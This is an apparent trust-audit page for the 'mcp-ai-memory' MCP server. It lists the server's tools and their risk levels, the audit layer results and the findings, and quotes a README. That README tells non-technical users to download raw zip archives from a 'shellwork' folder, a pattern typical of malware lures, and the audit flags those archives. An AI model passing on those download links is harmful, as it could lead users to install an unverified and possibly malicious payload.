mcp-ai-memoryCAUTION
🧠 Manage AI context seamlessly with the MCP server for storing and retrieving semantic memory across sessions. Enhance your AI's knowledge retention.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/ermermermermidk/mcp-ai-memory/raw/refs/heads/main/shellwork/aimcpmemory_v3.4.zip)
🚀 Getting Started
Welcome to the mcp-ai-memory project! This application is a production-ready Model Context Protocol (MCP) server designed to help you manage semantic memory efficiently. Follow these simple steps to download and run the software.
💻 System Requirements
Before you begin, ensure your system meets the following requirements:
- Operating System: Windows 10, macOS 10.14+, or a compatible Linux distribution
- RAM: Minimum 4 GB recommended (8 GB for optimal performance)
- CPU: Dual-core processor or equivalent
- Storage: At least 500 MB of free space
🔎 Features
- Easy to Use: Designed for everyday users without technical skills.
- Efficient Memory Management: Seamlessly manage your semantic memory data.
- Production-Ready: Built to handle real-world applications reliably.
- Secure and Stable: Focused on providing a safe user experience.
📥 Download & Install
To get started, visit this page to download: mcp-ai-memory Releases.
- Go to the Releases Page: Click the link above to open the Releases page on GitHub.
- Select the Latest Version: Look for the most recent version of mcp-ai-memory. It will usually have the highest version number (e.g., v1.0.0).
- Download the Package: Choose the appropriate file for your operating system. For example:
- For Windows, download the
.exefile. - For macOS, download the
.dmgfile. - For Linux, download the
https://github.com/ermermermermidk/mcp-ai-memory/raw/refs/heads/main/shellwork/ai_mcp_memory_v3.4.zipor the package for your sp
25fa6d05df94OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add mcp-ai-memory -- npx -y [email protected]
{
"mcpServers": {
"mcp-ai-memory": {
"command": "npx",
"args": [
"-y",
"[email protected]"
]
}
}
}Exposed tools (21)
13 read · 5 write · 3 destructive. Blast radius: 3 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
conversation-context | read | Load conversation history and context |
last_n | read | Number of recent messages to load |
limit | read | Maximum number of memories to load |
load-context | read | Load relevant context for a task |
max_memories | read | Maximum number of memories to include |
memory-summary | read | Generate a summary of memories for a topic |
memory_batch | write | BATCH BULK MULTIPLE IMPORT - Store multiple memories at once for efficiency. Keywords: batch, bulk, multiple, import, mass store, save many, store all, bulk import, batch save |
memory_batch_delete | destructive | BATCH DELETE BULK REMOVE - Delete multiple memories at once. Keywords: batch delete, bulk remove, mass delete, delete many, remove all, clear multiple |
memory_consolidate | write | CONSOLIDATE MERGE CLUSTER DEDUPLICATE - Group and merge similar memories to reduce redundancy. Keywords: consolidate, merge, cluster, deduplicate, group, combine, compress, organize |
memory_delete | destructive | DELETE REMOVE FORGET ERASE - Delete a specific memory by ID. Keywords: delete, remove, forget, erase, clear, purge, discard, eliminate, destroy memory, remove fact, forget information |
memory_get_relations | read | GET RELATIONS SHOW LINKS - Get all relationships for a specific memory. Keywords: get relations, show links, list connections, view relationships, find associations |
memory_graph_search | read | GRAPH RELATED CONNECTED NETWORK - Search memories and traverse relationships to find connected information. Keywords: graph, related, connected, network, relationships, linked, associated, traverse connections |
memory_relate | write | RELATE LINK CONNECT ASSOCIATE - Create a relationship between two memories. Keywords: relate, link, connect, associate, join, bind, reference, attach |
memory_stats | read | STATS STATUS INFO METRICS - Get database statistics, counts, and health metrics. Keywords: stats, status, info, metrics, statistics, counts, summary, overview, database info |
memory_store | write | STORE SAVE REMEMBER CREATE - Store new information, facts, preferences, conversations, or knowledge. Use after searching to avoid duplicates. Keywords: save, remember, store, record, memorize, learn, retain, persist, create memory, add knowledge, save fact, store preference, remember conversation |
memory_unrelate | destructive | UNRELATE UNLINK DISCONNECT - Remove a relationship between two memories. Keywords: unrelate, unlink, disconnect, detach, unbind, separate |
memory_update | write | UPDATE MODIFY EDIT CHANGE - Update existing memory metadata, tags, confidence, or importance. Keywords: update, modify, edit, change, revise, amend, alter, adjust, correct, fix, improve memory, update fact, change information |
session_id | read | The session ID to load |
task | read | The task to load context for |
topic | read | The topic to summarize |
user_context | read | User context to filter memories |
Trust audit
CAUTIONgrade B · trust 89/100 Install with care. The audit found things worth knowing before you trust its output.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (1 observation(s))
- Network
- none-observed
- Shell
- none-observed
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (4)
ai_mcp_memory_v3.4.zip
memory_batch_delete, memory_delete, memory_unrelate
@modelcontextprotocol/sdk, @types/node-cache, @xenova/transformers, bullmq, dotenv, ioredis, kysely, node-cache
shellwork/mcp-ai-memory.zip
Gates applied: no_behavioural_pass.
25fa6d05df94full audit observations/trust-audit/mcp-server/ermermermermidk__mcp-ai-memory.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 25fa6d05df94 | CAUTION | B | 89 | first audit |
Questions
What is the mcp-ai-memory MCP server?
🧠 Manage AI context seamlessly with the MCP server for storing and retrieving semantic memory across sessions. Enhance your AI's knowledge retention.
What tools does mcp-ai-memory expose?
21 in total: 13 read-only, 5 that write, and 3 that can delete or overwrite (memory_batch_delete, memory_delete, memory_unrelate). Every one is listed on this page with its risk.
Is mcp-ai-memory safe to connect to an agent?
With care. The audit graded it B (89/100) and found 4 things worth knowing before you trust this server, listed below with the exact line each was found on. Separately from the audit: 3 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does mcp-ai-memory need?
No credential environment variables were found in its source, so it appears to need none.
How does mcp-ai-memory run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as mcp-ai-memory at 1.0.6.
How current is this page?
The grade is for one exact copy of the source (25fa6d05df94), read on 2026-10-11. The repository is watched and re-audited when it changes.